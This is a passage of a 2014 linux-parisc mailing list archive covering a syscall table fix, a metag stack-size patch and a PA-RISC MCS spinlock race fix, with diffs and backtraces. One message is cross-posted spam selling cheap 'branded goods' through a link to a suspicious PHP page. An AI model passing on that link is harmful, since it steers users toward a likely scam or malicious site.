Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1400836645 19266 80.91.229.3 (23 May 2014 09:17:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 May 2014 09:17:25 +0000 (UTC)
Cc: Guenter Roeck <linux@roeck-us.net>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Miklos Szeredi <miklos@szeredi.hu>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 23 11:17:18 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WnlbI-00017n-TY
	for glpp-linux-parisc@plane.gmane.org; Fri, 23 May 2014 11:17:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751477AbaEWJRQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 May 2014 05:17:16 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:64624 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751039AbaEWJRO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 May 2014 05:17:14 -0400
Original-Received: from [192.168.178.60] ([84.173.57.128]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0Lk81O-1XKMK00FYI-00cAt7; Fri, 23 May 2014 11:16:58
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <CAJfpeguNGFDw_7C1JgZv3Wjgd0ku9QhEkUy_+gprOS58sBXaSQ@mail.gmail.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:5gb2pM5VE4mXt0hrPqDBu+9B3Lh4m4HOzlZFyC87MwYPXO/RplI
 UfSdHwLNA5xqdR7XrB3oLajfXX9uv3u2eBxkwUFUryydJfkEdQZ/63spN7CTNy6fZoYTWby
 HdmvUmQzLA0OgBek0GrOjcALUcpAlUKRmBKSgvagIWupOTPTOtClxqlwxJAVG2Ax1AZYu/s
 /QE+HJvAA3ty1Ux2tixBw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5809 gmane.linux.kernel:1709927
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5809>

On 05/23/2014 11:12 AM, Miklos Szeredi wrote:
> On Fri, May 23, 2014 at 3:27 AM, Linus Torvalds
> <torvalds@linux-foundation.org> wrote:
>> On Thu, May 22, 2014 at 6:07 PM, Guenter Roeck <linux@roeck-us.net> wrote:
>>> On 05/22/2014 05:43 PM, Linus Torvalds wrote:
>>>>
>>>>
>>>> only s390 seems to need a compat wrapper, and s390 is kind of odd in
>>>> many respects, so I suspect renameat2 should just use ENTRY_SAME() on
>>>> parisc, but without any way to *test* it I won't apply the patch.
>>>>
>>>> Guenter, I assume that changing the
>>>>
>>>>          ENTRY_COMP(renameat2)
>>>>
>>>> line in arch/parisc/kernel/syscall_table.S to use ENTRY_SAME() at
>>>> least fixes the compile error?
>>>
>>> Yes, it fixes the build error for parisc64, and parisc (32 bit) still
>>> builds.
>>
>> Ok. I'd like to get some kind of confirmation that it is expected to
>> work too. Miklos/Helge?
> 
> Oops, yes, it should be ENTRY_SAME().

Yes, ENTRY_SAME() is correct. Sorry, it was my fault that I didn't noticed earlier.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Linux msdos" <achizitii@elcen.ro>
Newsgroups: gmane.linux.msdos.general,gmane.linux.network.general,gmane.linux.newbie,gmane.linux.kernel.next,gmane.linux.nfs,gmane.linux.kernel.numa,gmane.linux.ports.arm.omap,gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.ppp,gmane.linux.raid,gmane.linux.drivers.rdma,gmane.linux.scsi,gmane.linux.kernel.lsm,gmane.linux.serial,gmane.linux.ports.sh.devel,gmane.linux.smp,gmane.linux.sound
Subject: Get designer watches for less
Date: Fri, 23 May 2014 20:40:27 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <EEEAFB73.08830623@elcen.ro>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1400873284 20061 80.91.229.3 (23 May 2014 19:28:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 May 2014 19:28:04 +0000 (UTC)
To: <linux-msdos@vger.kernel.org>, <linux-net@vger.kernel.org>,
	<linux-newbie-owner@vger.kernel.org>,
	<linux-newbie@vger.kernel.org>, <linux-next@vger.kernel.org>,
	<linux-nfs@vger.kernel.org>, <linux-numa@vger.kernel.org>,
	<linux-omap@vger.kernel.org>, <linux-parisc@vger.kernel.org>,
	<linux-pci@vger.kernel.org>, <linux-pm@vger.kernel.org>,
	<linux-ppp-owner@vger.kernel.org>, <linux-ppp@vger.kernel.org>,
	<linux-raid-owner@vger.kernel.org>, <linux-raid@vger.kernel.org>,
	<linux-rdma@vger.kernel.org>, <linux-s390@vger.kernel.org>,
	<linux-scsi@vger.kernel.org>,
	<linux-security-module@vger.kernel.org>,
	<linux-serial@vger.kernel.org>, <linux-sh@vger.kernel.org>,
	<linux-smp-owner@vger.kernel.org>, <linux-smp@vger.kernel.org>,
	<linux-sound-owner@vger.kernel.org>, <linux-sound@vger.kernel.org>
Original-X-From: linux-msdos-owner@vger.kernel.org Fri May 23 21:27:55 2014
Return-path: <linux-msdos-owner@vger.kernel.org>
Envelope-to: lnx-linux-msdos@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-msdos-owner@vger.kernel.org>)
	id 1Wnv8D-0000Rn-6p
	for lnx-linux-msdos@plane.gmane.org; Fri, 23 May 2014 21:27:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751433AbaEWT1t (ORCPT <rfc822;lnx-linux-msdos@m.gmane.org>);
	Fri, 23 May 2014 15:27:49 -0400
Original-Received: from 81-196-105-115.rdsnet.ro ([81.196.105.115]:47032 "EHLO
	axigen.elcen.ro" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751056AbaEWT1s (ORCPT
	<rfc822;linux-msdos@vger.kernel.org>);
	Fri, 23 May 2014 15:27:48 -0400
X-Greylist: delayed 309 seconds by postgrey-1.27 at vger.kernel.org; Fri, 23 May 2014 15:27:43 EDT
Original-Received: from elcen.ro (197.5.1.69) by axigen.elcen.ro (Axigen)
 with ESMTPA id 3613C1; Fri, 23 May 2014 22:26:20 +0300
Original-Received: from mx.reskind.net ([45.195.191.166]) by mxs.perenter.com with SMTP;
 Fri, 23 May 2014 21:13:00 +0200
Original-Received: from [134.100.53.234] by smtp4.cyberemailings.com with ASMTP;
 Fri, 23 May 2014 20:57:26 +0200
Original-Received: from mx.reskind.net [51.16.235.9] by mtu67.syds.piswix.net with SMTP;
 Fri, 23 May 2014 20:47:52 +0200
Original-Received: from unknown (67.179.36.129)	by mts.locks.grgtween.net with ASMTP;
 Fri, 23 May 2014 20:40:27 +0200
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.14)
 Gecko/20080421 Thunderbird/2.0.0.14
X-Accept-Language: en-us
X-AxigenSpam-Level: 10
X-AxigenVirus-Level: 1
Original-Sender: linux-msdos-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-msdos.vger.kernel.org>
X-Mailing-List: linux-msdos@vger.kernel.org
Xref: news.gmane.org gmane.linux.msdos.general:6424 gmane.linux.network.general:15024 gmane.linux.newbie:9506 gmane.linux.kernel.next:31591 gmane.linux.nfs:63293 gmane.linux.kernel.numa:866 gmane.linux.ports.arm.omap:115125 gmane.linux.ports.parisc:5810 gmane.linux.kernel.pci:31827 gmane.linux.power-management.general:45757 gmane.linux.ppp:4163 gmane.linux.raid:46305 gmane.linux.drivers.rdma:20447 gmane.linux.scsi:90722 gmane.linux.kernel.lsm:21331 gmane.linux.serial:14640 gmane.linux.ports.sh.devel:35724 gmane.linux.smp:2241 gmane.linux.sound:1883
Archived-At: <http://permalink.gmane.org/gmane.linux.msdos.general/6424>

I now know where to get my trusted branded goods 

http://smilingsoulcoaching.com/llltdud.php


--
To unsubscribe from this list: send the line "unsubscribe linux-msdos" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luis Henriques <luis.henriques@canonical.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ubuntu.devel.kernel.general
Subject: [3.11.y.z extended stable] Patch "metag: Reduce maximum stack size to 256MB" has been added to staging queue
Date: Fri, 30 May 2014 10:29:05 +0100
Lines: 105
Approved: news@gmane.org
Message-ID: <1401442145-9949-1-git-send-email-luis.henriques@canonical.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1401442164 21527 80.91.229.3 (30 May 2014 09:29:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 May 2014 09:29:24 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-metag@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	Luis Henriques <luis.henriques@canonical.com>,
	kernel-team@lists.ubuntu.com
To: James Hogan <james.hogan@imgtec.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 30 11:29:15 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WqJ7j-00070l-4n
	for glpp-linux-parisc@plane.gmane.org; Fri, 30 May 2014 11:29:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755453AbaE3J3N (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 May 2014 05:29:13 -0400
Original-Received: from youngberry.canonical.com ([91.189.89.112]:46168 "EHLO
	youngberry.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754750AbaE3J3L (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 May 2014 05:29:11 -0400
Original-Received: from [194.158.52.142] (helo=localhost)
	by youngberry.canonical.com with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <luis.henriques@canonical.com>)
	id 1WqJ7a-0003FH-KD; Fri, 30 May 2014 09:29:06 +0000
X-Mailer: git-send-email 1.9.1
X-Extended-Stable: 3.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5812 gmane.linux.kernel.metag:219 gmane.linux.ubuntu.devel.kernel.general:41941
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5812>

This is a note to let you know that I have just added a patch titled

    metag: Reduce maximum stack size to 256MB

to the linux-3.11.y-queue branch of the 3.11.y.z extended stable tree 
which can be found at:

 http://kernel.ubuntu.com/git?p=ubuntu/linux.git;a=shortlog;h=refs/heads/linux-3.11.y-queue

If you, or anyone else, feels it should not be added to this tree, please 
reply to this email.

For more information about the 3.11.y.z tree, see
https://wiki.ubuntu.com/Kernel/Dev/ExtendedStable

Thanks.
-Luis

------

>From 446548dfdf62f1c5a749ac36b2ac311444d26892 Mon Sep 17 00:00:00 2001
From: James Hogan <james.hogan@imgtec.com>
Date: Tue, 13 May 2014 23:58:24 +0100
Subject: metag: Reduce maximum stack size to 256MB

commit d71f290b4e98a39f49f2595a13be3b4d5ce8e1f1 upstream.

Specify the maximum stack size for arches where the stack grows upward
(parisc and metag) in asm/processor.h rather than hard coding in
fs/exec.c so that metag can specify a smaller value of 256MB rather than
1GB.

This fixes a BUG on metag if the RLIMIT_STACK hard limit is increased
beyond a safe value by root. E.g. when starting a process after running
"ulimit -H -s unlimited" it will then attempt to use a stack size of the
maximum 1GB which is far too big for metag's limited user virtual
address space (stack_top is usually 0x3ffff000):

BUG: failure at fs/exec.c:589/shift_arg_pages()!

Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Cc: linux-metag@vger.kernel.org
Cc: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 arch/metag/include/asm/processor.h  | 2 ++
 arch/parisc/include/asm/processor.h | 2 ++
 fs/exec.c                           | 6 +++---
 3 files changed, 7 insertions(+), 3 deletions(-)

diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
index f16477d1f571..3be8581af495 100644
--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -22,6 +22,8 @@
 /* Add an extra page of padding at the top of the stack for the guard page. */
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
+/* Maximum virtual space for stack */
+#define STACK_SIZE_MAX	(1 << 28)	/* 256 MB */

 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index cc2290a3cace..c6ee86542fec 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -53,6 +53,8 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE

+#define STACK_SIZE_MAX	(1 << 30)	/* 1 GB */
+
 #endif

 #ifndef __ASSEMBLY__
diff --git a/fs/exec.c b/fs/exec.c
index e72f6bbbde2e..87e9edb36fe0 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -655,10 +655,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	unsigned long rlim_stack;

 #ifdef CONFIG_STACK_GROWSUP
-	/* Limit stack size to 1GB */
+	/* Limit stack size */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;

 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
--
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Sun, 1 Jun 2014 13:53:11 -0400 (EDT)
Lines: 201
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1401645282 5907 80.91.229.3 (1 Jun 2014 17:54:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 Jun 2014 17:54:42 +0000 (UTC)
Cc: chegu_vinod@hp.com, paulmck@linux.vnet.ibm.com, Waiman.Long@hp.com,
	tglx@linutronix.de, riel@redhat.com, akpm@linux-foundation.org,
	davidlohr@hp.com, hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>, jejb@parisc-linux.org,
	deller@gmx.de, John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 01 19:54:31 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wr9xm-0005p0-1E
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 Jun 2014 19:54:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752512AbaFARy2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Jun 2014 13:54:28 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:49430 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752419AbaFARy1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Jun 2014 13:54:27 -0400
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s51HrFvP001653
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
	Sun, 1 Jun 2014 13:53:15 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s51HrE0O007840
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Sun, 1 Jun 2014 13:53:15 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s51HrEBD022052;
	Sun, 1 Jun 2014 13:53:14 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s51HrBKB022048;
	Sun, 1 Jun 2014 13:53:11 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5813 gmane.linux.kernel:1715672
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5813>

The cancelable MCS spinlocks introduced in
fb0527bd5ea99bfeb2dd91e3c1433ecf745d6b99 break the kernel on PA-RISC.

How to reproduce:
* Use a machine with two dual-core PA-8900 processors.
* Run the LVM testsuite and compile the kernel in an endless loop at the
  same time.
* Wait for an hour or two and the kernel locks up.

You see some processes locked up in osd_lock and osq_unlock:
INFO: rcu_sched self-detected stall on CPU { 2}  (t=18000 jiffies g=247335 c=247334 q=101)
CPU: 2 PID: 21006 Comm: lvm Tainted: G           O  3.15.0-rc7 #9
Backtrace:
 [<000000004013e8a4>] show_stack+0x14/0x20
 [<00000000403016f0>] dump_stack+0x88/0x100
 [<00000000401b8738>] rcu_check_callbacks+0x4a8/0x900
 [<00000000401714c4>] update_process_times+0x64/0xc0
 [<000000004013fa24>] timer_interrupt+0x19c/0x200
 [<00000000401ad8d8>] handle_irq_event_percpu+0xa8/0x238
 [<00000000401b2454>] handle_percpu_irq+0x9c/0xd0
 [<00000000401acc40>] generic_handle_irq+0x40/0x50
 [<00000000401408cc>] do_cpu_irq_mask+0x1ac/0x298
 [<000000004012c074>] intr_return+0x0/0xc
 [<00000000401a609c>] osq_lock+0xc4/0x178
 [<0000000040138d24>] __mutex_lock_slowpath+0x1cc/0x290
 [<0000000040138e78>] mutex_lock+0x90/0x98
 [<00000000402a5614>] kernfs_activate+0x6c/0x1a0
 [<00000000402a59e0>] kernfs_add_one+0x140/0x190
 [<00000000402a75ec>] __kernfs_create_file+0xa4/0xf8

INFO: rcu_sched self-detected stall on CPU { 3}  (t=18473 jiffies g=247335 c=247334 q=101)
CPU: 3 PID: 21051 Comm: udevd Tainted: G           O  3.15.0-rc7 #9
Backtrace:
 [<000000004013e8a4>] show_stack+0x14/0x20
 [<00000000403016f0>] dump_stack+0x88/0x100
 [<00000000401b8738>] rcu_check_callbacks+0x4a8/0x900
 [<00000000401714c4>] update_process_times+0x64/0xc0
 [<000000004013fa24>] timer_interrupt+0x19c/0x200
 [<00000000401ad8d8>] handle_irq_event_percpu+0xa8/0x238
 [<00000000401b2454>] handle_percpu_irq+0x9c/0xd0
 [<00000000401acc40>] generic_handle_irq+0x40/0x50
 [<00000000401408cc>] do_cpu_irq_mask+0x1ac/0x298
 [<000000004012c074>] intr_return+0x0/0xc
 [<00000000401a6220>] osq_unlock+0xd0/0xf8
 [<0000000040138dcc>] __mutex_lock_slowpath+0x274/0x290
 [<0000000040138e78>] mutex_lock+0x90/0x98
 [<00000000402a3a90>] kernfs_dop_revalidate+0x48/0x108
 [<0000000040233310>] lookup_fast+0x320/0x348
 [<0000000040234600>] link_path_walk+0x190/0x9d8


The code in kernel/locking/mcs_spinlock.c is broken.

PA-RISC doesn't have xchg or cmpxchg atomic instructions like other
processors. It only has ldcw and ldcd instructions that load a word (or
doubleword) from memory and atomically store zero at the same location.
These instructions can only be used to implement spinlocks, direct
implementation of other atomic operations is impossible.

Consequently, Linux xchg and cmpxchg functions are implemented in such a
way that they hash the address, use the hash to index a spinlock, take the
spinlock, perform the xchg or cmpxchg operation non-atomically and drop
the spinlock.

If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg at
the same time, you break it. ACCESS_ONCE doesn't take the hashed spinlock,
so, in this case, cmpxchg or xchg isn't really atomic at all.

This patch fixes the bug by introducing a new type atomic_pointer_t 
(backed by atomic_long_t) and replacing the offending pointer with it. 
atomic_long_set takes the hashed spinlock, so it avoids the race 
condition.

Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

---
 include/asm-generic/atomic-long.h |   24 ++++++++++++++++++++++++
 kernel/locking/mcs_spinlock.c     |   16 ++++++++--------
 kernel/locking/mcs_spinlock.h     |    4 +++-
 3 files changed, 35 insertions(+), 9 deletions(-)

Index: linux-3.15-rc7/kernel/locking/mcs_spinlock.c
===================================================================
--- linux-3.15-rc7.orig/kernel/locking/mcs_spinlock.c	2014-05-31 19:05:24.000000000 +0200
+++ linux-3.15-rc7/kernel/locking/mcs_spinlock.c	2014-06-01 14:31:58.000000000 +0200
@@ -47,8 +47,8 @@ osq_wait_next(struct optimistic_spin_que
 		 * wait for either @lock to point to us, through its Step-B, or
 		 * wait for a new @node->next from its Step-C.
 		 */
-		if (node->next) {
-			next = xchg(&node->next, NULL);
+		if (atomic_pointer_read(&node->next)) {
+			next = atomic_pointer_xchg(&node->next, NULL);
 			if (next)
 				break;
 		}
@@ -65,13 +65,13 @@ bool osq_lock(struct optimistic_spin_que
 	struct optimistic_spin_queue *prev, *next;
 
 	node->locked = 0;
-	node->next = NULL;
+	atomic_pointer_set(&node->next, NULL);
 
 	node->prev = prev = xchg(lock, node);
 	if (likely(prev == NULL))
 		return true;
 
-	ACCESS_ONCE(prev->next) = node;
+	atomic_pointer_set(&prev->next, node);
 
 	/*
 	 * Normally @prev is untouchable after the above store; because at that
@@ -103,8 +103,8 @@ unqueue:
 	 */
 
 	for (;;) {
-		if (prev->next == node &&
-		    cmpxchg(&prev->next, node, NULL) == node)
+		if (atomic_pointer_read(&prev->next) == node &&
+		    atomic_pointer_cmpxchg(&prev->next, node, NULL) == node)
 			break;
 
 		/*
@@ -144,7 +144,7 @@ unqueue:
 	 */
 
 	ACCESS_ONCE(next->prev) = prev;
-	ACCESS_ONCE(prev->next) = next;
+	atomic_pointer_set(&prev->next, next);
 
 	return false;
 }
@@ -163,7 +163,7 @@ void osq_unlock(struct optimistic_spin_q
 	/*
 	 * Second most likely case.
 	 */
-	next = xchg(&node->next, NULL);
+	next = atomic_pointer_xchg(&node->next, NULL);
 	if (next) {
 		ACCESS_ONCE(next->locked) = 1;
 		return;
Index: linux-3.15-rc7/kernel/locking/mcs_spinlock.h
===================================================================
--- linux-3.15-rc7.orig/kernel/locking/mcs_spinlock.h	2014-05-31 19:01:01.000000000 +0200
+++ linux-3.15-rc7/kernel/locking/mcs_spinlock.h	2014-06-01 14:17:49.000000000 +0200
@@ -13,6 +13,7 @@
 #define __LINUX_MCS_SPINLOCK_H
 
 #include <asm/mcs_spinlock.h>
+#include <linux/atomic.h>
 
 struct mcs_spinlock {
 	struct mcs_spinlock *next;
@@ -119,7 +120,8 @@ void mcs_spin_unlock(struct mcs_spinlock
  */
 
 struct optimistic_spin_queue {
-	struct optimistic_spin_queue *next, *prev;
+	atomic_pointer_t next;
+	struct optimistic_spin_queue *prev;
 	int locked; /* 1 if lock acquired */
 };
 
Index: linux-3.15-rc7/include/asm-generic/atomic-long.h
===================================================================
--- linux-3.15-rc7.orig/include/asm-generic/atomic-long.h	2014-06-01 14:04:17.000000000 +0200
+++ linux-3.15-rc7/include/asm-generic/atomic-long.h	2014-06-01 14:30:19.000000000 +0200
@@ -255,4 +255,28 @@ static inline long atomic_long_add_unles
 
 #endif  /*  BITS_PER_LONG == 64  */
 
+typedef atomic_long_t atomic_pointer_t;
+
+#define ATOMIC_POINTER_INIT(i)	ATOMIC_LONG_INIT((long)(i))
+
+static inline void *atomic_pointer_read(atomic_pointer_t *v)
+{
+	return (void *)atomic_long_read(v);
+}
+
+static inline void atomic_pointer_set(atomic_pointer_t *v, void *i)
+{
+	atomic_long_set(v, (long)i);
+}
+
+static inline void *atomic_pointer_xchg(atomic_pointer_t *v, void *i)
+{
+	return (void *)atomic_long_xchg(v, (long)i);
+}
+
+static inline void *atomic_pointer_cmpxchg(atomic_pointer_t *v, void *old, void *new)
+{
+	return (void *)atomic_long_cmpxchg(v, (long)old, (long)new);
+}
+
 #endif  /*  _ASM_GENERIC_ATOMIC_LONG_H  */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Sun, 1 Jun 2014 21:20:26 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20140601192026.GE16155@laptop.programming.kicks-ass.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401650450 26546 80.91.229.3 (1 Jun 2014 19:20:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 Jun 2014 19:20:50 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	chegu_vinod@hp.com, paulmck@linux.vnet.ibm.com, Waiman.Long@hp.com,
	tglx@linutronix.de, riel@redhat.com, akpm@linux-foundation.org,
	davidlohr@hp.com, hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 01 21:20:40 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
